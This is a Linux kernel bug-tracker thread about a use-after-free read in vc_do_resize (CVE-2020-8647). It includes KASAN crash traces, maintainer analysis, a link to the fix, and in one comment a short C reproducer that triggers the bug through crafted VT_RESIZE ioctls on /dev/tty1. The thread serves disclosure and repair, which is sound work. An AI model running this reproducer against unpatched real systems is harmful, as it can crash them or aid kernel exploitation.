Bug 206359

Summary: Linux Kernel 5.4.7 - vc_do_resize use-after-free
Product: Drivers Reporter: Tristan Madani (tristmd)
Component: Console/FramebuffersAssignee: James Simmons (jsimmons)
Status: NEW ---    
Severity: normal CC: 1258364380, ajak, jirislaby
Priority: P1    
Hardware: All   
OS: Linux   
Kernel Version: 5.4.7 Subsystem:
Regression: No Bisected commit-id:

Description Tristan Madani 2020-01-30 16:50:22 UTC
Linux Kernel 5.4.7 - vc_do_resize use-after-free

0x01 - Introduction
===

# Product: Linux Kernel 
# Version: 5.4.7 (stable) and probably other versions
# Bug: UAF (Read)
# Tested on: GNU/Linux Debian 9 x86_64


0x02 - Details
===

There is a UAF read in "vc_do_resize" which is the resizing method for the tty.

Code analysis (drivers/tty/vt/vt.c):

static int vc_do_resize(struct tty_struct *tty, struct vc_data *vc,
				unsigned int cols, unsigned int lines)
{
	unsigned long old_origin, new_origin, new_scr_end, rlth, rrem, err = 0;
	unsigned long end;
	unsigned int old_rows, old_row_size, first_copied_row;
	unsigned int new_cols, new_rows, new_row_size, new_screen_size;
	unsigned int user;
	unsigned short *newscreen;
	struct uni_screen *new_uniscr = NULL;

	WARN_CONSOLE_UNLOCKED();

	if (!vc)
		return -ENXIO;

	user = vc->vc_resize_user;
	vc->vc_resize_user = 0;

    ../..

	update_attr(vc);

	while (old_origin < end) {
		scr_memcpyw((unsigned short *) new_origin, 		// <-- UAF occurs here
			    (unsigned short *) old_origin, rlth);
		if (rrem)
			scr_memsetw((void *)(new_origin + rlth),
				    vc->vc_video_erase_char, rrem);
		old_origin += old_row_size;
		new_origin += new_row_size;
	}
	if (new_scr_end > new_origin)
		scr_memsetw((void *)new_origin, vc->vc_video_erase_char,
			    new_scr_end - new_origin);
	kfree(vc->vc_screenbuf);
	vc->vc_screenbuf = newscreen;
	vc->vc_screenbuf_size = new_screen_size;
	set_origin(vc);
	
	
0x03 - Crash report
===

BUG: KASAN: use-after-free in memcpy include/linux/string.h:378 [inline]
BUG: KASAN: use-after-free in scr_memcpyw include/linux/vt_buffer.h:49 [inline]
BUG: KASAN: use-after-free in vc_do_resize+0x8f8/0x13f0 drivers/tty/vt/vt.c:1250
Read of size 258 at addr ffff8880000fffee by task syz-executor.2/18415

CPU: 3 PID: 18415 Comm: syz-executor.2 Not tainted 5.4.7 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
Call Trace:
 __dump_stack lib/dump_stack.c:77 [inline]
 dump_stack+0xee/0x16e lib/dump_stack.c:118
 print_address_description.constprop.8+0x36/0x50 mm/kasan/report.c:374
 __kasan_report.cold.11+0x1a/0x3a mm/kasan/report.c:506
 kasan_report+0xe/0x20 mm/kasan/common.c:634
 check_memory_region_inline mm/kasan/generic.c:185 [inline]
 check_memory_region+0x144/0x1c0 mm/kasan/generic.c:192
 memcpy+0x1f/0x50 mm/kasan/common.c:122
 memcpy include/linux/string.h:378 [inline]
 scr_memcpyw include/linux/vt_buffer.h:49 [inline]
 vc_do_resize+0x8f8/0x13f0 drivers/tty/vt/vt.c:1250
 vt_ioctl+0x1319/0x28d0 drivers/tty/vt/vt_ioctl.c:840
 tty_ioctl+0x525/0x15a0 drivers/tty/tty_io.c:2657
 vfs_ioctl fs/ioctl.c:47 [inline]
 file_ioctl fs/ioctl.c:510 [inline]
 do_vfs_ioctl+0x1c5/0x1310 fs/ioctl.c:697
 ksys_ioctl+0x9b/0xc0 fs/ioctl.c:714
 __do_sys_ioctl fs/ioctl.c:721 [inline]
 __se_sys_ioctl fs/ioctl.c:719 [inline]
 __x64_sys_ioctl+0x6f/0xb0 fs/ioctl.c:719
 do_syscall_64+0xbc/0x560 arch/x86/entry/common.c:290
 entry_SYSCALL_64_after_hwframe+0x49/0xbe
RIP: 0033:0x4662e9
Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fed90badc68 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 000000000052bfa8 RCX: 00000000004662e9
RDX: 0000000020000040 RSI: 0000000000005609 RDI: 0000000000000004
RBP: 00000000ffffffff R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00000000004a744b
R13: 00000000004ef470 R14: 00000000004adbf5 R15: 00007fed90bae6bc

The buggy address belongs to the page:
page:ffffea0000003fc0 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0
raw: 0000000000001000 ffffea0000003fc8 ffffea0000003fc8 0000000000000000
raw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected

Memory state around the buggy address:
 ffff8880000fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 ffff8880000fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff888000100000: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                   ^
 ffff888000100080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888000100100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

Note: The UAF read could range from 4 to 6936 (and probably more) in my various reports.
Comment 1 Jiri Slaby 2020-02-06 10:36:44 UTC
Oh well...
/* FIXME: all this needs locking */
/* Variables for selection control. */
...
static char *sel_buffer;

Do we have a reproducer?
Comment 2 Jiri Slaby 2020-02-06 11:56:57 UTC
(In reply to Tristan from comment #0)
> Read of size 258 at addr ffff8880000fffee by task syz-executor.2/18415> Call Trace:>  memcpy+0x1f/0x50 mm/kasan/common.c:122

This is:
check_memory_region((unsigned long)src, len, false, _RET_IP_);

So *src* of the memcpy is bad:

>  memcpy include/linux/string.h:378 [inline]
>  scr_memcpyw include/linux/vt_buffer.h:49 [inline]
>  vc_do_resize+0x8f8/0x13f0 drivers/tty/vt/vt.c:1250

which means old_origin is bad here:
  scr_memcpyw((unsigned short *) new_origin,
      (unsigned short *) old_origin, rlth);

The accesses, allocs and frees are serialized by the console lock.

>  vt_ioctl+0x1319/0x28d0 drivers/tty/vt/vt_ioctl.c:840> The buggy address belongs to the page:
> page:ffffea0000003fc0 refcount:1 mapcount:0 mapping:0000000000000000
> index:0x0
> raw: 0000000000001000 ffffea0000003fc8 ffffea0000003fc8 0000000000000000
> raw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000
> page dumped because: kasan: bad access detected

It would help to see who and where freed the screen buffer. Or a reproducer would too.
Comment 3 Jiri Slaby 2020-02-06 11:59:30 UTC
(In reply to Tristan from comment #0)
> Memory state around the buggy address:
>  ffff8880000fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>  ffff8880000fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> >ffff888000100000: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>                    ^> Note: The UAF read could range from 4 to 6936 (and probably more) in my
> various reports.

Also, could that be a simple out-of-bounds access instead of UAF? Do the accesses always start on a new page?
Comment 4 ICELEAF 2020-03-03 10:40:33 UTC
	if (vc->vc_y > new_rows) {
		if (old_rows - vc->vc_y < new_rows) {
			/*
			 * Cursor near the bottom, copy contents from the
			 * bottom of buffer
			 */
			old_origin += (old_rows - new_rows) * old_row_size;
		} else {
			/*
			 * Cursor is in no man's land, copy 1/2 screenful
			 * from the top and bottom of cursor position
			 */
			old_origin += (vc->vc_y - new_rows/2) * old_row_size;
		}
	}

	end = old_origin + old_row_size * min(old_rows, new_rows);

In function gotoxy update vc->vc_y, vc->vc_y always less than vc->vc_rows. so we can prove that "end" always less than real old_origin buffer end. It seems that not be a simple out-of-bounds. I try to reproduce, but i failed.
Comment 5 ICELEAF 2020-03-04 02:37:31 UTC
end = old_origin + old_row_size * min(old_rows, new_rows);

If origin buffer is equal to vga_vram_base, if old_row_size great than vga_vram_size, end may great than vga_vram_end.
Comment 6 ICELEAF 2020-03-05 13:08:32 UTC
reproducer:
vc_cve.c:
#include <stdio.h>
#include <sys/ioctl.h>
#include "vt.h"
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main()
{
        int fd;
        struct vt_consize size1 = {0x0, 0x4079, 0x200, 0x2, 0x0, 0x1};   ---具体环境不同需要调节参数
        struct vt_consize size2 = {0x0, 0x400, 0x0, 0x0, 0x95, 0x1};

        printf("start test\n");
        fd = open("/dev/tty1", O_RDWR);
        if (fd < 0) {
                printf("open /dev/tty1 failed errno %d\n", fd);
                return 1;
        }

        int ret;
        ret = ioctl(fd, VT_RESIZE, &size1);
        if (ret < 0) {
                printf("resize 1 failed\n");
                return 1;
        }

        ret = ioctl(fd, VT_RESIZE, &size2);
        if (ret < 0) {
                printf("resize 2 failed\n");
                return 1;
        }

        close(fd);
        printf("end test \n");

        return 0;
}


/mnt # ./vc_cve
start test
[   76.282539] ==================================================================
[   76.282595] BUG: KASAN: use-after-free in vc_do_resize+0x76c/0x11d0
[   76.282595] Read of size 2048 at addr ffff888000100882 by task vc_cve/1227
[   76.282595]
[   76.282595] CPU: 0 PID: 1227 Comm: vc_cve Not tainted 5.3.0 #8
[   76.282595] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.12.1-0-ga5cab58e9a3f-prebuilt.qemu.org 04/01/2014
[   76.282595] Call Trace:
[   76.282595]  dump_stack+0x5b/0x90
[   76.282595]  ? vc_do_resize+0x76c/0x11d0
[   76.282595]  print_address_description+0x67/0x32d
[   76.282595]  ? vc_do_resize+0x76c/0x11d0
[   76.282595]  ? vc_do_resize+0x76c/0x11d0
[   76.282595]  __kasan_report.cold.6+0x1a/0x3e
[   76.282595]  ? vc_do_resize+0x76c/0x11d0
[   76.282595]  kasan_report+0xe/0x12
[   76.282595]  check_memory_region+0x144/0x1c0
[   76.282595]  memcpy+0x1f/0x50
[   76.282595]  vc_do_resize+0x76c/0x11d0
[   76.282595]  ? _raw_spin_lock+0x75/0xd0
[   76.282595]  ? _raw_read_lock_bh+0x40/0x40
[   76.282595]  ? vc_uniscr_alloc+0x90/0x90
[   76.282595]  ? _raw_spin_lock_irqsave+0x7b/0xd0
[   76.282595]  ? _raw_spin_trylock_bh+0x120/0x120
[   76.282595]  ? security_capable+0x53/0x90
[   76.282595]  vt_ioctl+0x316/0x1fa0
[   76.282595]  ? complete_change_console+0x300/0x300
[   76.282595]  ? unwind_next_frame+0x10f5/0x1b20
[   76.282595]  ? deref_stack_reg+0xab/0xe0
[   76.282595]  ? __read_once_size_nocheck.constprop.8+0x10/0x10
[   76.282595]  ? mnt_get_count+0x140/0x140
[   76.282595]  ? unwind_next_frame+0xf4b/0x1b20
[   76.282595]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[   76.282595]  ? terminate_walk+0x1d3/0x480
[   76.282595]  tty_ioctl+0x442/0x11b0
[   76.282595]  ? tty_vhangup+0x10/0x10
[   76.282595]  ? memcpy+0x34/0x50
[   76.282595]  ? avc_has_extended_perms+0x206/0xf30
[   76.282595]  ? avc_ss_reset+0x130/0x130
[   76.282595]  ? stack_trace_consume_entry+0x160/0x160
[   76.282595]  ? kmem_cache_alloc+0xb2/0x1c0
[   76.282595]  ? save_stack+0x4d/0x80
[   76.282595]  ? save_stack+0x19/0x80
[   76.282595]  ? __kasan_slab_free+0x12e/0x180
[   76.282595]  ? kmem_cache_free+0x7b/0x290
[   76.282595]  ? do_sys_open+0x166/0x350
[   76.282595]  ? do_syscall_64+0x89/0x2e0
[   76.282595]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[   76.282595]  ? up_read+0xf/0x90
[   76.282595]  ? _raw_spin_lock_irqsave+0x7b/0xd0
[   76.282595]  ? _raw_spin_trylock_bh+0x120/0x120
[   76.282595]  do_vfs_ioctl+0x18e/0xf00
[   76.282595]  ? ioctl_preallocate+0x1a0/0x1a0
[   76.282595]  ? selinux_file_ioctl+0x3b8/0x540
[   76.282595]  ? selinux_capable+0x20/0x20
[   76.282595]  ? __fsnotify_update_child_dentry_flags.part.3+0x330/0x330
[   76.282595]  ? __kasan_slab_free+0x143/0x180
[   76.282595]  ? do_sys_open+0x166/0x350
[   76.282595]  ksys_ioctl+0x5b/0x90
[   76.282595]  __x64_sys_ioctl+0x6a/0xb0
[   76.282595]  ? fpregs_assert_state_consistent+0x18/0x90
[   76.282595]  do_syscall_64+0x89/0x2e0
[   76.282595]  ? prepare_exit_to_usermode+0xe8/0x190
[   76.282595]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[   76.282595] RIP: 0033:0x7ff7917cdb97
[   76.282595] Code: 00 00 90 48 8b 05 09 73 2c 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d d9 728
[   76.282595] RSP: 002b:00007fff928e7ad8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[   76.282595] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff7917cdb97
[   76.282595] RDX: 00007fff928e7ae0 RSI: 0000000000005609 RDI: 0000000000000003
[   76.282595] RBP: 00007fff928e7b00 R08: 0000000000000003 R09: 0000000000000000
[   76.282595] R10: fffffffffffff3c7 R11: 0000000000000246 R12: 0000000000400520
[   76.282595] R13: 00007fff928e7be0 R14: 0000000000000000 R15: 0000000000000000
[   76.282595]
[   76.282595] The buggy address belongs to the page:
[   76.282595] page:ffffea0000004000 refcount:0 mapcount:-128 mapping:0000000000000000 index:0x0
[   76.282595] flags: 0x0()
[   76.282595] raw: 0000000000000000 ffff88807ffdb300 ffff88807ffdb300 0000000000000000
[   76.282595] raw: 0000000000000000 0000000000000008 00000000ffffff7f 0000000000000000
[   76.282595] page dumped because: kasan: bad access detected
[   76.282595]
[   76.282595] Memory state around the buggy address:
[   76.282595]  ffff888000100780: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[   76.282595]  ffff888000100800: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[   76.282595] >ffff888000100880: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[   76.282595]                    ^
[   76.282595]  ffff888000100900: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[   76.282595]  ffff888000100980: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[   76.282595] ==================================================================
[   76.282595] Disabling lock debugging due to kernel taint
Comment 7 John Helmert III 2021-11-09 22:28:20 UTC
This is fixed by:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=513dc792d6060d5ef572e43852683097a8420f56

And is also tracked as CVE-2020-8647.